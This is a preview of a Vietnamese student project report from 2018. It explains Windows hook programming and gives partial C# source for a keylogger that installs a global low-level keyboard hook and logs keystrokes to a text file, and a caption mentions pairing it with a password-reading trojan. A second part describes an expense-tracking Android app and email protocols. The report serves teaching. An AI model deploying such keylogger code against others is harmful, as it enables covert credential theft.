1. Trang chủ
  2. » Giáo Dục - Đào Tạo

BÁO cáo đồ án cơ sở NGÀNH MẠNG đề tài kỹ thuật lập trình hook xây dựng ứng dụng bắt phím keylogger đề tài xây dựng ứng dụng quản lý thu chi

30 16 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Kỹ thuật lập trình Hook. Xây dựng ứng dụng bắt phím Keylogger và Ứng dụng quản lý thu chi
Tác giả Hồ Nguyễn Trúc Vy
Người hướng dẫn PGS.TS Nguyễn Tấn Khôi
Trường học Đại học Đà Nẵng - Trường Đại học Bách Khoa - Khoa Công Nghệ Thông Tin
Chuyên ngành Ngành Mạng
Thể loại Báo cáo đồ án
Năm xuất bản 2018
Thành phố Đà Nẵng
Định dạng
Số trang 30
Dung lượng 915,61 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Mỗi sự kiện sẽ được nhanh chóng chuyển thành thông điệp, sau đó Windows sẽlần lượt lấy thông điệp từ hàng đợi hệ thống để xem xét và chuyển những thông điệp đóđến chương trình ứng dụng t

Trang 1

ĐẠI HỌC ĐÀ NẴNG TRƯỜNG ĐẠI HỌC BÁCH KHOA KHOA CÔNG NGHỆ THÔNG TIN

Trang 2

Để hoàn thành được đồ án lần này em xin gửi lời cảm ơn đến sự giúp đỡ của cácthầy cô trong khoa, đặc biệt là Thầy Nguyễn Tấn Khôi – người trực tiếp hướng dẫn emthực hiện, cảm ơn sự tận tình chỉ bảo và giải đáp thắc mắc của thầy

Xin chân thành cảm ơn !

Đà Nẵng, tháng 12 năm 2018

Sinh viên

Hồ Nguyễn Trúc Vy

Trang 3

NHẬN XÉT CỦA GIẢNG VIÊN

Trang 4

Tìm hiểu kỹ thuật lập trình Hook Xây dựng ứng dụng bắt phím Keylogger.

GIỚI THIỆU TỔNG QUAN ĐỀ TÀI

Nội dung đề tài

Sử dụng kỹ thuật Hook để nhận bắt bàn phím khi người dùng thực hiện thao tác gõbàn phím Khi người dùng gõ vào một phím trên bàn phím, các phím sẽ được lưu lại vàomột file

Trang 5

CHƯƠNG 1 CƠ SỞ LÝ THUYẾT

1.1 Lập trình Windows

1.1.1 Thông điệp và hàng đợi thông điệp

Windows có 2 loại hàng đợi thông điệp: Hàng đợi hệ thống (system queue) vàhàng đợi ứng dụng (application queue) Hàng đợi hệ thống là hàng đợi duy nhất và đượcdùng chung cho toàn hệ thống, mọi tiến trình đang chạy đều chia sẻ hàng đợi này Nhiệm

vụ của hàng đợi hệ thống là nó ghi lại những sự kiện phần cứng (chuột, bàn phím, ) khichúng ra

Mỗi sự kiện sẽ được nhanh chóng chuyển thành thông điệp, sau đó Windows sẽlần lượt lấy thông điệp từ hàng đợi hệ thống để xem xét và chuyển những thông điệp đóđến chương trình ứng dụng tương ứng Những thông điệp này khi được chuyển đến ứngdụng, chúng tạo thành hàng đợi ứng dụng

1.1.2 Lập trình sự kiện

Mỗi ứng dụng có một hàng đợi ứng dụng khác nhau Một ứng dụng nhận cácthông điệp từ hàng đợi ứng dụng bằng cách gọi hàm GetMessage, sau đó lại gọi tiếpTranslateMessage để dịch thông điệp, cuối cùng gọi hàm DispatchMessage để trả lạithông điệp cho Windows Việc lấy thông điệp này cứ lặp đi lặp lại, tạo thành vòng lặpthông điệp Vòng lặp này kết thúc khi hàm GetMessage trả về giá trị 0 nếu thông điệp cóđịnh danh là WM_QUIT (0x0012)

Thông thường, chúng ta chỉ chặn để xử lý các thông điệp có liên quan đến chứcnăng của ứng dụng, các thông điệp khác thì giao cho hàm xử lý mặc định làm việc (hàmDefWindowsProc)

Trang 6

1.2 Hook trong Windows

Hook là một cơ chế trong lập trình sự kiện, cho phép ứng dụng có thể cài đặt mộthàm giám sát vào quá trình lưu chuyển các thông điệp Hay nói cách khác hook là 1 cơchế cho phép chặn các sự kiện (chuột, bàn phím, thông điệp) trước khi chúng được gửitới hàng đợi của ứng dụng Các hàm này có thể thực hiện một số thao tác trên sự kiện,

và trong một vài trường hợp có thể định nghĩa lại hoặc hủy bỏ sự kiện mà nó chặn được.Một điểm quan trọng cần lưu ý là các hàm này được gọi bởi chính Windows chứ khôngphải bởi ứng dụng của chúng ta

Windows hỗ trợ nhiều loại hook khác nhau, mỗi loại nhắm đến việc chặn bắt mộtloại thông điệp cụ thể nào đó Ví dụ, một ứng dụng có thể sử dụng WH_KEYBOARD đểgiám sát sự di chuyển của thông điệp bàn phím trong hệ thống Một loại hook khác làWH_MOUSE cho phép theo dõi các thông điệp liên quan đến hoạt động của con chuột

1.3 Phân loại Hook

- Hook cục bộ (Thread hook hay Local hook): hàm giám sát được cài đặt vào sauhàng đợi thông điệp ứng dụng (Thread message Queue hay Application Queue), chỉ kiểmsoát các thông điệp trong một tiến trình hay một ứng dụng cụ thể nào đó được xác địnhlúc cài đặt thủ tục hook

- Hook toàn cục (Global hook): hàm giám sát được cài đặt vào sau hàng đợithông điệp hệ thống, kiểm soát toàn bộ các tiến trình trong hệ thống

1.4 Thủ tục Hook – Chuỗi Hook

1.4.1 Thủ tục Hook

Là một thủ tục được cài đặt để xử lý cho một loại hook nào đó Thủ tục này đượcgọi bởi hệ điều hành, nó là hàm CallBack

Dạng chung của hook Function :

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam);

Trong đó :

Trang 7

- nCode: tham số này thường được gọi là “hook code”, thủ tục Hook sử dụng giá

trị này để quyết định cách thức xử lý đối với sự kiện Việc xử lý với mỗi sự kiện như thếnào là hoàn toàn phụ thuộc vào người lập trình Giá trị của hook code tùy thuộc vào từngloại hook cụ thể, và mỗi loại hook sẽ có tập hợp những giá trị hook code đặc trưng củariêng mình Khi Windows truyền cho hàm giát rị hook code âm, thủ tục không được xử lý

sự kiện mà phải gọi hàm CallNextHookEx với chính những tham số mà HĐH truyền cho

nó Sau đó, nó phải trả về giá trị được trả về bởi hàm CallNextHookEx

- wParam, lParam: Đây là những thông tin cần thiết cho thủ tục hook trong quá

trình xử lý sự kiện Các giá trị này sẽ có ý nghĩa khác nhau tuỳ thuộc vào từng loạihook

Ví dụ : thủ tục gắn với hook WH_KEYBOARD sẽ nhận mã phím ảo (Virtual-KeyCode) từ wParam, đồng thời có được từ lParam thông tin mô tả trạng thái của bànphím khi sự kiện gõ phím xảy ra

- Mỗi loại hook cần có cách xử lý khác nhau khi xây dựng thủ tục hook

- Có thể cài đặt nhiều thủ tục hook bằng cách dùng hàm SetWindowsHook haySetWindowsHookEx

- Thủ tục hook cài sau sẽ luôn nằm ở vị trí đầu tiên trong chuỗi hook

1.4.2 Chuỗi Hook

- Là một dãy các thủ tục hook được liên kết theo thứ tự ưu tiên thực hiện giảm dần

- Hệ thống có khả năng hỗ trợ nhiều loại hook khác nhau, mỗi loại được quy địnhmột cách thức truy nhập khác nhau  Hệ thống duy trì từng chuỗi hook riêng biệt chomỗi loại hook

- Khi có một message được sinh ra thuộc một loại hook nào đó, nó sẽ được hệthống đẩy vào hàm hook đầu tiên trong chuỗi, sau đó được chuyển lần lượt đến các thủtục hook kế tiếp nhờ xử lý trong thủ tục hook

Trang 8

- Một chuỗi hook là một danh sách các con trỏ đặc biệt, nó được trỏ tới các hàmCallBack gọi là hook procedure (thủ tục hook) Như vậy khi một sự kiện xuất hiện, hệthống sẽ chuyển sự kiện đó tới các thủ tục hook được tham chiếu bới chuỗi hook theo thứ

tự lần lượt Vì thế phải thực hiện xong thủ tục này mới được gọi thủ tục kế tiếp

Hình 1: Sơ đồ hook chain

int hookMsg, HOOKPROC hookProc

HINSTANCE hIns, DWORD threadId);

Trong đó:

+ hookMsg: loại hook

Trang 9

+ hookProc: con trỏ đến thủ tục hook Trường hợp Hook toàn cục, thủ tục hookphải lưu trong DLL; với Thread hook, thủ tục hook có thể chứa trong chính thread tươngứng.

+ hIns: handle của module chứa thủ tục hook

+ threadId: ID của thread Nếu là 0, Hook sẽ là Global.

Ví dụ 1: Cài đặt Keyboard hook toàn cục

SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInstDLL, 0);

Ví dụ 2: Cài đặt Keyboard hook cục bộ

SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,NULL,GetCurrentThreadId());

1.5.2 Chuyển thông điệp đến thủ tục hook kế tiếp

- Sau khi thực hiện xong, thủ tục hook sẽ gọi hàm CallNextHookEx để chuyển

message đến thủ tục hook kế tiếp trong chuỗi hook

LRESULT CallNextHookEx(HHOOK hHook, int code,

WPARAM wParam, LPARAM lParam);

1.5.3 Chuyển thông điệp đến thủ tục hook kế tiếp

Sử dụng kỹ thuật hook sẽ làm giảm khả năng thực thi của hệ thống Do đó, khikhông sử dụng hook nữa nên hủy bỏ hook khỏi hệ thống

BOOL UnhookWindowsHooks(HHOOK hHook);

Trang 10

CHƯƠNG 2 PHÂN TÍCH VÀ THIẾT KẾ

Khai báo các hàng số và biến

private const int WH_KEYBOARD_LL = 13;

private const int WM_KEYDOWN = 0x0100;

private static LowLevelKeyboardProc _proc = HookCallback;

private static IntPtr _hookID = IntPtr.Zero;

private static string logName = "Log_";

private static string logExtendtion = ".txt";

Import các DLL để lấy các hàm SetWindowsHookEx , UnhookWindowsHookEx ,

CallNextHookEx , GetModuleHandle

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true )]

private static extern IntPtr SetWindowsHookEx( int idHook,

LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true )]

[ return : MarshalAs(UnmanagedType.Bool)]

private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true )]

private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,

IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true )]

private static extern IntPtr GetModuleHandle( string lpModuleName);

Trang 11

private delegate IntPtr LowLevelKeyboardProc (

int nCode, IntPtr wParam, IntPtr lParam);

Thiết lập hàm xử lý khi chặn các sự kiện

private static IntPtr HookCallback( int nCode, IntPtr wParam, IntPtr lParam) {

if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

{

int vkCode = Marshal.ReadInt32(lParam);

Keys vkcode = (Keys)vkCode;

WriteLog(vkcode);

}

return CallNextHookEx(_hookID, nCode, wParam, lParam);

}

Hàm xử lý các phím được Hook để ghi vào file Log_.txt

static void WriteLog(Keys vkCode)

Trang 13

case Keys.LControlKey:

case Keys.RControlKey:

sw.Write("[Ctrl]"); break ; case Keys.LWin:

case Keys.RWin:

sw.Write("[Windows]"); break ; case Keys.Return:

sw.WriteLine(""); break ; case Keys.Alt:

sw.Write("[ALT]"); break ; case Keys.OemOpenBrackets:

Hàm main chạy chương trình

static void Main( string [] args)

{

HookKeyboard();

}

Trang 14

CHƯƠNG 3 KẾT QUẢ ĐẠT ĐƯỢC VÀ HƯỚNG PHÁT TRIỂN

3.1 Triển khai

- Ngôn ngữ C#

- Môi trường Windows

Hình 1: Kết quả sau khi chạy chương trình KeyLogger kết hợp trojan đọc password

được ghi ở file Log_.txt

Trang 15

3.2 Kết luận và hướng phát triển

3.2.1 Kết quả đạt được

- Tìm hiểu được cơ chế hoạt động của kỹ thuật Hook

- Xây dựng được chương trình KeyLogger bắt phím

3.2.2 Hạn chế

- Chương trình đơn giản chưa đầy đủ chức năng

- Code chưa tối ưu

3.2.3 Hướng phát triển

- Phát triển chương trình có thể chụp ảnh màn hình sau một thời gian nhất định

- Phân biệt được chữ thường và chữ hoa khi ghi vào file

Trang 16

PHẦN II: LẬP TRÌNH MẠNG

Xây dựng ứng dụng quản lý thu chi.

GIỚI THIỆU TỔNG QUAN ĐỀ TÀI

1 Nội dung đề tài

Xây dựng ứng dụng trên máy điện thoại quản lý thu chi Chương trình cho phép ngườidùng nhập, quản lý thu chi theo ngày/tháng; gửi dữ liệu đến email để lưu giữ

2 Mục tiêu

Tìm hiểu được các hoạt động trong một ứng dụng di động, các giao thức email: SMTP,POP3, IMAP; áp dụng kỹ thuật này vào các trường hợp cần thiết khi xây dựng ứng dụng

3 Môi trường áp dụng

Chương trình mô phỏng sẽ được viết bằng ngôn ngữ Java

Trong đồ án môn học này, em sử dụng phần mềm Android Studio để phát triển ứng dụng

Trang 17

CHƯƠNG 1 CƠ SỞ LÝ THUYẾT

Nhờ sự phát triển của công nghệ thông tin nói chúng và Internet nói riêng, nhiều côngviệc, tác vụ của con người đã có thể thực hiện một cách dễ dàng hơn Trong đó, vấn đề quản lícác thông tin cá nhân hàng ngày như lịch sinh hoạt, chi tiêu, sinh hoạt hàng ngày đang ngày càngđược quan tâm

Bên cạnh đó, việc sử dụng các ứng dụng sử dụng trên nền tảng điện thoại giúp tăng caotính ứng dụng, tiện lợi khi có thể cập nhật bất cứ lúc nào Một vấn đề được ra là làm thế nào nếucác thông tin dữ liệu trong di động xảy ra hỏng hóc, hay đơn giản là khi người sử dụng muốn tiếptục lưu lại những thông tin mình đã dùng trước đó khi lần nữa cài đặt lại phần mềm

Trong bài đồ án này sẽ tập trung tìm hiểu về một ứng dụng di động trong quản lí thu chi

cá nhân theo ngày, và được sao lưu, phục hồi dữ liệu thông qua Email Có các giao thức đangđược triển khai phổ biến hiện nay là SMTP, IMAP và POP3

1.1 SMTP:

1.1.1 Khái quát:

SMTP (tiếng Anh: Simple Mail Transfer Protocol - giao thức truyền tải thư tín đơn giản)

là một chuẩn truyền tải thư điện tử qua mạng Internet SMTP được định nghĩa trong bản RFC 821(STD 10) và được chỉnh lý bằng bản RFC 1123 (STD 3), chương 5 Giao thức hiện dùng được làESMTP (extended SMTP - SMTP mở rộng), được định nghĩa trong bản RFC 2821

Mặc dầu các Server và các phần mềm quản lí thư điện tử sử dụng SMTP để gửi và nhậnthư, nhưng ở cấp độ người dùng cá nhân, trong các phần mềm Client để nhận gửi thư thì STMPchỉ ứng dụng để gửi thư mà thôi, việc nhận thư thường dùng các giao thức khác là IMAP hayPOP3

SMTP sử dụng port 25 để giao tiếp giữa cái Mail Server với nhau Còn đối với các Clientthì thường truyền thư đến Server thông qua port 587 Cũng có ngoại lệ một số nhà cung cấp dịch

vụ dùng port 465 thay vì tuân theo tiêu chuẩn (port 587) cho mục đích kể trên

Kết nối SMTP được đảm bảo an toàn bằng SSL, thường được biết đến với tên là SMTPS.Mặc dầu những hệ thống Mail Server hay các Web Mail dùng các chuẩn riêng của họ đểcho phép các tài khoản truy cập vào hòm thư trong hệ thống của họ, tất cả đều sử dụng giao thứcSMTP để gửi hoặc nhận email từ phạm vi bên ngoài hệ thống

1.1.2 Quá trình email di chuyển trong MTS(Mail Taransfer System) bằng SMTP:

Trang 18

Bản thân các ứng dụng gửi email đóng vai trò các MUA (Mail User Agent) Khi ngườithực hiện gửi, email sẽ được chuyển tới MSA (Mail Submit Agent) cũng chính là MTA (MailTransfer Agent) biên đầu, thường thì MSA và MTA biên đầu cùng chạy trên một máy Email sau

đó tiếp tục được chuyển tiếp (relay) thông qua các MTA trong một trường mạng cho tới khi chạmMTA biên cuối MTA này có nhiệm vụ thực hiện truy vấn DNS để tìm ra MX (Mail Exchanger)Server thích hợp dựa trên tên miền đằng sau dấu @ (vd: @gmail.com) và chuyển tiếp tới các MXrecord có trong kết quả tìm được Email cuối cùng sẽ được chuyển và lưu trữ tại MDA (MailDelivery Agent) theo định dạng mailbox Vậy, nhiệm vụ SMTP là thực hiện vận chuyển email từemail client (MUA) tới hộp thư của người nhận (MDA)

Quá trình chuyển email

Một khi đã chuyển thư đến Mail Server cục bộ, mail sẽ được người dùng đọc thông quagiao thức IMAP hoặc POP3

1.2 POP3:

POP3 (Post Office Protocol version 3, RFC 1939) là giao thức nhận email, cho phép

người dùng tải thư về máy, đọc và quản lý thư trên máy cục bộ Thư sau khi tải về sẽ có thể được xóa khỏi máy chủ hoặc lưu trữ dưới dạng bản sao do dung lượng lưu trữ trên máy chủ hạn chế POP3 sử dụng port mặc định là 110 để thực hiện thủ tục nhận mail Tuy nhiên, có thể sử dụng port 995 để mã hóa kết nối trên kênh truyền SSL Thủ tục nhận mail trên POP3 diễn ra như sau:

 Người dùng thông qua Email Client gửi yêu cầu kết nối tới Email Server (MDA), quá trinh bắt tay 3 bước diễn ra để tạo kết nối TCP

 Email Server yêu cầu xác thực người dùng trước khi truy cập hộp thư

 Duyệt và tải email về máy

Trang 19

 Người dùng thực hiện đọc, xóa hoặc lưu bản sao của email trên MDA (lưu ý, mọi thao tác bấy giờ chỉ là đánh dấu – mark)

 Kết thúc phiên, toàn bộ yêu cầu chỉnh sửa thực sự được thực thi

 Email Server chủ động ngắt kết nối, giải phóng tài nguyên

Một giao thức khác có chức năng thay thế là IMAP (Message Access Protocol)

1.3 IMAP:

IMAP (Internet Message Access Protocol, RFC 3501) cũng là giao thức nhận Email, ra

đời sau POP3, hỗ trợ thêm nhiều tính năng và khắc phục được một số nhược điểm, do đó phứctạp hơn POP3 Dung lượng lưu trữ không còn là vấn đề lớn nên IMAP cho phép thư được giữ tạiserver, có thể tải về trên nhiều máy và được đồng bộ hóa dữ liệu với nhau Điều này khiến việcthao tác chỉnh sửa biên tập trên ứng dụng Email được áp dụng đối với hòm thư ngay khi trựctuyến Hòm thư trên server được chia thành nhiều thư mục (hộp thư đến, thư đã gửi,…) và hỗ trợngười dùng tạo thư mục riêng Với mỗi Email, IMAP cho phép gắn cờ để theo dõi trạng thái củathư đó và tải vể một phần hoặc toàn bộ IMAP sử dụng port mặc định là 143, port cho kênhtruyền mã hóa SSL là 993 Một phiên làm việc với IMAP cũng tương tự POP3, khác nhau ở cácbước

 Thực hiện duyệt email (theo cấu trúc thư mục và trạng thái), tải về đọc một phần hoặctoàn bộ email (bản sao)

 Mọi chỉnh sửa biên tập (xóa, di chuyển, thay đổi cờ,…) đều được áp dụng ngay saukhi thực hiện lệnh, miễn còn trong chế độ trực tuyến

1.4 So sánh POP3 và IMAP:

 Ưu điểm của POP

Là giao thức thời đầu, POP tuân theo một ý tưởng đơn giản là chỉ một máy khách yêu cầutruy cập mail trên server và việc lưu trữ mail cục bộ là tốt nhất Điều này dẫn tới những ưu điểmsau:

Mail được lưu cục bộ, tức luôn có thể truy cập ngay cả khi không có kết nối Internet

 Kết nối Internet chỉ dùng để gửi và nhận mail

 Tiết kiệm không gian lưu trữ trên server

 Được lựa chọn để lại bản sao mail trên server

 Hợp nhất nhiều tài khoản email và nhiều server vào một hộp thư đến

Ngày đăng: 30/12/2022, 07:29

TỪ KHÓA LIÊN QUAN

w